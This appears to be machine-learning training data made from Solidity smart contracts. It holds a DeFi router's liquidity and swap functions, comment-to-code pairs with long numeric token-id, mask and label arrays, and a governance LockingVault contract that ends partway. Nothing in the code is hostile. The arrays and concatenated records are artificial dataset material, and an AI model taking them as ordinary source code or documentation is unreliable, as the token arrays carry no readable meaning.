uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
uint256 lockDuration
)
external
payable
virtual
ensure(deadline)
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
)
{
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = EmpireLibrary.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IEmpirePair(pair).mint(address(this));
IERC20(pair).approve(escrow, liquidity);
IEmpireEscrow(escrow).lockLiquidity(IERC20(pair), to, liquidity, lockDuration);
// refund dust eth, if any
if (msg.value > amountETH)
TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountA, uint256 amountB)
{
address pair = EmpireLibrary.pairFor(factory, tokenA, tokenB);
IEmpireERC20(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint256 amount0, uint256 amount1) = IEmpirePair(pair).burn(to);
(address token0, ) = EmpireLibrary.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0
? (amount0, amount1)
: (amount1, amount0);
require(amountA >= amountAMin, "EmpireRouter: INSUFFICIENT_A_AMOUNT");
require(amountB >= amountBMin, "EmpireRouter: INSUFFICIENT_B_AMOUNT");
}
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
public
virtual
override
ensure(deadline)
returns (uint256 amountToken, uint256 amountETH)
{
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override returns (uint256 amountA, uint256 amountB) {
address pair = EmpireLibrary.pairFor(factory, tokenA, tokenB);
uint256 value = approveMax ? uint256(-1) : liquidity;
IEmpireERC20(pair).permit(
msg.sender,
address(this),
value,
deadline,
v,
r,
s
);
(amountA, amountB) = removeLiquidity(
tokenA,
tokenB,
liquidity,
amountAMin,
amountBMin,
to,
deadline
);
}
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
)
external
virtual
override
returns (uint256 amountToken, uint256 amountETH)
{
address pair = EmpireLibrary.pairFor(factory, token, WETH);
uint256 value = approveMax ? uint256(-1) : liquidity;
IEmpireERC20(pair).permit(
msg.sender,
address(this),
value,
deadline,
v,
r,
s
);
(amountToken, amountETH) = removeLiquidityETH(
token,
liquidity,
amountTokenMin,
amountETHMin,
to,
deadline
);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) public virtual override ensure(deadline) returns (uint256 amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(
token,
to,
IEmpireERC20(token).balanceOf(address(this))
);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external virtual override returns (uint256 amountETH) {
address pair = EmpireLibrary.pairFor(factory, token, WETH);
uint256 value = approveMax ? uint256(-1) : liquidity;
IEmpireERC20(pair).permit(
msg.sender,
address(this),
value,
deadline,
v,
r,
s
);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token,
liquidity,
amountTokenMin,
amountETHMin,
to,
deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(
uint256[] memory amounts,
address[] memory path,
address _to
) internal virtual {
for (uint256 i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0, ) = EmpireLibrary.sortTokens(input, output);
uint256 amountOut = amounts[i + 1];
(uint256 amount0Out, uint256 amount1Out) =
input == token0
? (uint256(0), amountOut)
: (amountOut, uint256(0));
address to =
i < path.length - 2
? EmpireLibrary.pairFor(factory, output, path[i + 2])
: _to;
IEmpirePair(EmpireLibrary.pairFor(factory, input, output)).swap(
amount0Out,
amount1Out,
to,
new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
amounts = EmpireLibrary.getAmountsOut(factory, amountIn, path);
require(
amounts[amounts.length - 1] >= amountOutMin,
"EmpireRouter: INSUFFICIENT_OUTPUT_AMOUNT"
);
TransferHelper.safeTransferFrom(
path[0],
msg.sender,
EmpireLibrary.pairFor(factory, path[0], path[1]),
amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
amounts = EmpireLibrary.getAmountsIn(factory, amountOut, path);
require(
amounts[0] <= amountInMax,
"EmpireRouter: EXCESSIVE_INPUT_AMOUNT"
);
TransferHelper.safeTransferFrom(
path[0],
msg.sender,
EmpireLibrary.pairFor(factory, path[0], path[1]),
amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
require(path[0] == WETH, "EmpireRouter: INVALID_PATH");
amounts = EmpireLibrary.getAmountsOut(factory, msg.value, path);
require(
amounts[amounts.length - 1] >= amountOutMin,
"EmpireRouter: INSUFFICIENT_OUTPUT_AMOUNT"
);
IWETH(WETH).deposit{value: amounts[0]}();
assert(
IWETH(WETH).transfer(
EmpireLibrary.pairFor(factory, path[0], path[1]),
amounts[0]
)
);
_swap(amounts, path, to);
}
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
require(path[path.length - 1] == WETH, "EmpireRouter: INVALID_PATH");
amounts = EmpireLibrary.getAmountsIn(factory, amountOut, path);
require(
amounts[0] <= amountInMax,
"EmpireRouter: EXCESSIVE_INPUT_AMOUNT"
);
TransferHelper.safeTransferFrom(
path[0],
msg.sender,
EmpireLibrary.pairFor(factory, path[0], path[1]),
amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
)
external
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
require(path[path.length - 1] == WETH, "EmpireRouter: INVALID_PATH");
amounts = EmpireLibrary.getAmountsOut(factory, amountIn, path);
require(
amounts[amounts.length - 1] >= amountOutMin,
"EmpireRouter: INSUFFICIENT_OUTPUT_AMOUNT"
);
TransferHelper.safeTransferFrom(
path[0],
msg.sender,
EmpireLibrary.pairFor(factory, path[0], path[1]),
amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
)
external
payable
virtual
override
ensure(deadline)
returns (uint256[] memory amounts)
{
require(path[0] == WETH, "EmpireRouter: INVALID_PATH");
amounts = EmpireLibrary.getAmountsIn(factory, amountOut, path);
require(
amounts[0] <= msg.value,
"EmpireRouter: EXCESSIVE_INPUT_AMOUNT"
);
IWETH(WETH).deposit{value: amounts[0]}();
assert(
IWETH(WETH).transfer(
EmpireLibrary.pairFor(factory, path[0], path[1]),
amounts[0]
)
);
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0])
TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(
address[] memory path,
address _to
) internal virtual {
for (uint256 i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0, ) = EmpireLibrary.sortTokens(input, output);
IEmpirePair pair =
IEmpirePair(EmpireLibrary.pairFor(factory, input, output));
uint256 amountInput;
uint256 amountOutput;
{
// scope to avoid stack too deep errors
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
(uint256 reserveInput, uint256 reserveOutput) =
input == token0
? (reserve0, reserve1)
: (reserve1, reserve0);
amountInput = IEmpireERC20(input).balanceOf(address(pair)).sub(
reserveInput
);
amountOutput = EmpireLibrary.getAmountOut(
amountInput,
reserveInput,
reserveOutput
);
}
(uint256 amount0Out, uint256 amount1Out) =
input == token0
? (uint256(0), amountOutput)
: (amountOutput, uint256(0));
address to =
i < path.length - 2
? EmpireLibrary.pairFor(factory, output, path[i + 2])
: _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0],
msg.sender,
EmpireLibrary.pairFor(factory, path[0], path[1]),
amountIn
);
uint256 balanceBefore =
IEmpireERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IEmpireERC20(path[path.length - 1]).balanceOf(to).sub(
balanceBefore
) >= amountOutMin,
"EmpireRouter: INSUFFICIENT_OUTPUT_AMOUNT"
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable virtual override ensure(deadline) {
require(path[0] == WETH, "EmpireRouter: INVALID_PATH");
uint256 amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(
IWETH(WETH).transfer(
EmpireLibrary.pairFor(factory, path[0], path[1]),
amountIn
)
);
uint256 balanceBefore =
IEmpireERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IEmpireERC20(path[path.length - 1]).balanceOf(to).sub(
balanceBefore
) >= amountOutMin,
"EmpireRouter: INSUFFICIENT_OUTPUT_AMOUNT"
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external virtual override ensure(deadline) {
require(path[path.length - 1] == WETH, "EmpireRouter: INVALID_PATH");
TransferHelper.safeTransferFrom(
path[0],
msg.sender,
EmpireLibrary.pairFor(factory, path[0], path[1]),
amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint256 amountOut = IEmpireERC20(WETH).balanceOf(address(this));
require(
amountOut >= amountOutMin,
"EmpireRouter: INSUFFICIENT_OUTPUT_AMOUNT"
);
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) public pure virtual override returns (uint256 amountB) {
return EmpireLibrary.quote(amountA, reserveA, reserveB);
}
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) public pure virtual override returns (uint256 amountOut) {
return EmpireLibrary.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) public pure virtual override returns (uint256 amountIn) {
return EmpireLibrary.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint256 amountIn, address[] memory path)
public
view
virtual
override
returns (uint256[] memory amounts)
{
return EmpireLibrary.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint256 amountOut, address[] memory path)
public
view
virtual
override
returns (uint256[] memory amounts)
{
return EmpireLibrary.getAmountsIn(factory, amountOut, path);
}
}
|
**** SWAP (supporting fee-on-transfer tokens) **** requires the initial amount to have already been sent to the first pair scope to avoid stack too deep errors
|
function _swapSupportingFeeOnTransferTokens(
address[] memory path,
address _to
) internal virtual {
for (uint256 i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0, ) = EmpireLibrary.sortTokens(input, output);
IEmpirePair pair =
IEmpirePair(EmpireLibrary.pairFor(factory, input, output));
uint256 amountInput;
uint256 amountOutput;
{
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
(uint256 reserveInput, uint256 reserveOutput) =
input == token0
? (reserve0, reserve1)
: (reserve1, reserve0);
amountInput = IEmpireERC20(input).balanceOf(address(pair)).sub(
reserveInput
);
amountOutput = EmpireLibrary.getAmountOut(
amountInput,
reserveInput,
reserveOutput
);
}
(uint256 amount0Out, uint256 amount1Out) =
input == token0
? (uint256(0), amountOutput)
: (amountOutput, uint256(0));
address to =
i < path.length - 2
? EmpireLibrary.pairFor(factory, output, path[i + 2])
: _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
| 10,202,875 |
[
1,
18746,
2203,
261,
13261,
310,
14036,
17,
265,
17,
13866,
2430,
13,
225,
4991,
326,
2172,
3844,
358,
1240,
1818,
2118,
3271,
358,
326,
1122,
3082,
2146,
358,
4543,
2110,
4885,
4608,
1334,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
22270,
6289,
310,
14667,
1398,
5912,
5157,
12,
203,
3639,
1758,
8526,
3778,
589,
16,
203,
3639,
1758,
389,
869,
203,
565,
262,
2713,
5024,
288,
203,
3639,
364,
261,
11890,
5034,
277,
31,
277,
411,
589,
18,
2469,
300,
404,
31,
277,
27245,
288,
203,
5411,
261,
2867,
810,
16,
1758,
876,
13,
273,
261,
803,
63,
77,
6487,
589,
63,
77,
397,
404,
19226,
203,
5411,
261,
2867,
1147,
20,
16,
262,
273,
512,
1291,
577,
9313,
18,
3804,
5157,
12,
2630,
16,
876,
1769,
203,
5411,
10897,
1291,
577,
4154,
3082,
273,
203,
7734,
10897,
1291,
577,
4154,
12,
41,
1291,
577,
9313,
18,
6017,
1290,
12,
6848,
16,
810,
16,
876,
10019,
203,
5411,
2254,
5034,
3844,
1210,
31,
203,
5411,
2254,
5034,
3844,
1447,
31,
203,
5411,
288,
203,
7734,
261,
11890,
5034,
20501,
20,
16,
2254,
5034,
20501,
21,
16,
262,
273,
3082,
18,
588,
607,
264,
3324,
5621,
203,
7734,
261,
11890,
5034,
20501,
1210,
16,
2254,
5034,
20501,
1447,
13,
273,
203,
10792,
810,
422,
1147,
20,
203,
13491,
692,
261,
455,
6527,
20,
16,
20501,
21,
13,
203,
13491,
294,
261,
455,
6527,
21,
16,
20501,
20,
1769,
203,
7734,
3844,
1210,
273,
10897,
1291,
577,
654,
39,
3462,
12,
2630,
2934,
12296,
951,
12,
2867,
12,
6017,
13,
2934,
1717,
12,
203,
10792,
20501,
1210,
203,
7734,
11272,
203,
7734,
3844,
1447,
273,
512,
1291,
577,
9313,
18,
588,
6275,
1182,
12,
203,
10792,
3844,
1210,
16,
203,
10792,
20501,
1210,
2
] |
./partial_match/1/0xFb64597ddA1345317A4f4f5DBA2425384bC5fA7B/sources/MICUSDTPool.sol
|
stake visibility is public as overriding LPTokenWrapper's stake() function
|
function stake(uint256 amount)
public
override
updateReward(msg.sender)
checkStart
{
require(amount > 0, 'MICUSDTPool: Cannot stake 0');
uint256 newDeposit = deposits[msg.sender].add(amount);
deposits[msg.sender] = newDeposit;
super.stake(amount);
emit Staked(msg.sender, amount);
}
| 2,823,957 |
[
1,
334,
911,
9478,
353,
1071,
487,
19488,
511,
52,
1345,
3611,
1807,
384,
911,
1435,
445,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
384,
911,
12,
11890,
5034,
3844,
13,
203,
3639,
1071,
203,
3639,
3849,
203,
3639,
1089,
17631,
1060,
12,
3576,
18,
15330,
13,
203,
3639,
866,
1685,
203,
565,
288,
203,
3639,
2583,
12,
8949,
405,
374,
16,
296,
22972,
3378,
9081,
2864,
30,
14143,
384,
911,
374,
8284,
203,
3639,
2254,
5034,
394,
758,
1724,
273,
443,
917,
1282,
63,
3576,
18,
15330,
8009,
1289,
12,
8949,
1769,
203,
203,
3639,
443,
917,
1282,
63,
3576,
18,
15330,
65,
273,
394,
758,
1724,
31,
203,
3639,
2240,
18,
334,
911,
12,
8949,
1769,
203,
3639,
3626,
934,
9477,
12,
3576,
18,
15330,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x6e0D6fbD32236E8330bbbE4D950F5378c5CF2095/sources/CryptoLegacy.sol
|
Calculates how much would it cost the owner to activate contract with given Keepers.
|
function calculateActivationPrice(uint[] memory selectedProposalIndices) public view returns (uint) {
uint _totalKeepingFee = 0;
for (uint i = 0; i < selectedProposalIndices.length; i++) {
uint proposalIndex = selectedProposalIndices[i];
KeeperProposal storage proposal = keeperProposals[proposalIndex];
_totalKeepingFee = SafeMath.add(_totalKeepingFee, proposal.keepingFee);
}
return _totalKeepingFee;
}
| 3,699,125 |
[
1,
10587,
3661,
9816,
4102,
518,
6991,
326,
3410,
358,
10235,
6835,
598,
864,
10498,
414,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
4604,
14857,
5147,
12,
11890,
8526,
3778,
3170,
14592,
8776,
13,
1071,
1476,
1135,
261,
11890,
13,
288,
203,
565,
2254,
389,
4963,
11523,
310,
14667,
273,
374,
31,
203,
203,
565,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
3170,
14592,
8776,
18,
2469,
31,
277,
27245,
288,
203,
1377,
2254,
14708,
1016,
273,
3170,
14592,
8776,
63,
77,
15533,
203,
1377,
1475,
9868,
14592,
2502,
14708,
273,
417,
9868,
626,
22536,
63,
685,
8016,
1016,
15533,
203,
1377,
389,
4963,
11523,
310,
14667,
273,
14060,
10477,
18,
1289,
24899,
4963,
11523,
310,
14667,
16,
14708,
18,
10102,
310,
14667,
1769,
203,
565,
289,
203,
203,
565,
327,
389,
4963,
11523,
310,
14667,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.3;
import "../libraries/History.sol";
import "../libraries/Storage.sol";
import "../interfaces/IERC20.sol";
import "../interfaces/IVotingVault.sol";
import "../interfaces/ILockingVault.sol";
contract LockingVault is IVotingVault, ILockingVault {
// Bring our libraries into scope
using History for *;
using Storage for *;
// Immutables are in bytecode so don't need special storage treatment
IERC20 public immutable token;
// A constant which is how far back stale blocks are
uint256 public immutable staleBlockLag;
// Event to track delegation data
event VoteChange(address indexed from, address indexed to, int256 amount);
constructor(IERC20 _token, uint256 _staleBlockLag) {
token = _token;
staleBlockLag = _staleBlockLag;
}
// This contract is a proxy so we use the custom state management system from
// storage and return the following as methods to isolate that call.
// deposits mapping(address => (address, uint96))
/// @notice A single function endpoint for loading storage for deposits
/// @return returns a storage mapping which can be used to look up deposit data
function _deposits()
internal
pure
returns (mapping(address => Storage.AddressUint) storage)
{
// This call returns a storage mapping with a unique non overwrite-able storage location
// which can be persisted through upgrades, even if they change storage layout
return (Storage.mappingAddressToPackedAddressUint("deposits"));
}
/// Getter for the deposits mapping
/// @param who The user to query the balance of
/// @return (address delegated to, amount of deposit)
function deposits(address who) external view returns (address, uint96) {
Storage.AddressUint storage userData = _deposits()[who];
return (userData.who, userData.amount);
}
/// @notice Returns the historical voting power tracker
/// @return A struct which can push to and find items in block indexed storage
function _votingPower()
internal
pure
returns (History.HistoricalBalances memory)
{
// This call returns a storage mapping with a unique non overwrite-able storage location
// which can be persisted through upgrades, even if they change storage layout
return (History.load("votingPower"));
}
/// @notice Attempts to load the voting power of a user
/// @param user The address we want to load the voting power of
/// @param blockNumber the block number we want the user's voting power at
/// @return the number of votes
function queryVotePower(
address user,
uint256 blockNumber,
bytes calldata
) external override returns (uint256) {
// Get our reference to historical data
History.HistoricalBalances memory votingPower = _votingPower();
// Find the historical data and clear everything more than 'staleBlockLag' into the past
return
votingPower.findAndClear(
user,
blockNumber,
block.number - staleBlockLag
);
}
/// @notice Loads the voting power of a user without changing state
/// @param user The address we want to load the voting power of
/// @param blockNumber the block number we want the user's voting power at
/// @return the number of votes
function queryVotePowerView(address user, uint256 blockNumber)
external
view
returns (uint256)
{
// Get our reference to historical data
History.HistoricalBalances memory votingPower = _votingPower();
// Find the historical datum
return votingPower.find(user, blockNumber);
}
/// @notice Deposits and delegates voting power to an address provided with the call
/// @param fundedAccount The address to credit this deposit to
/// @param amount The amount of token which is deposited
/// @param firstDelegation First delegation address
/// @dev Note - There's a minor griefing attack on this which sets someones delegation
/// address by depositing before them, requiring them to call delegate to reset it.
/// Given the gas price required and 0 financial benefit we consider it unlikely.
/// Warning - Users should not set delegation to the zero address as this will allow
/// someone to change their delegation by depositing a small amount to their
/// account.
function deposit(
address fundedAccount,
uint256 amount,
address firstDelegation
) external override {
// No delegating to zero
require(firstDelegation != address(0), "Zero addr delegation");
// Move the tokens into this contract
token.transferFrom(msg.sender, address(this), amount);
// Load our deposits storage
Storage.AddressUint storage userData = _deposits()[fundedAccount];
// Load who has the user's votes
address delegate = userData.who;
if (delegate == address(0)) {
// If the user is un-delegated we delegate to their indicated address
delegate = firstDelegation;
// Set the delegation
userData.who = delegate;
// Now we increase the user's balance
userData.amount += uint96(amount);
} else {
// In this case we make no change to the user's delegation
// Now we increase the user's balance
userData.amount += uint96(amount);
}
// Next we increase the delegation to their delegate
// Get the storage pointer
History.HistoricalBalances memory votingPower = _votingPower();
// Load the most recent voter power stamp
uint256 delegateeVotes = votingPower.loadTop(delegate);
// Emit an event to track votes
emit VoteChange(fundedAccount, delegate, int256(amount));
// Add the newly deposited votes to the delegate
votingPower.push(delegate, delegateeVotes + amount);
}
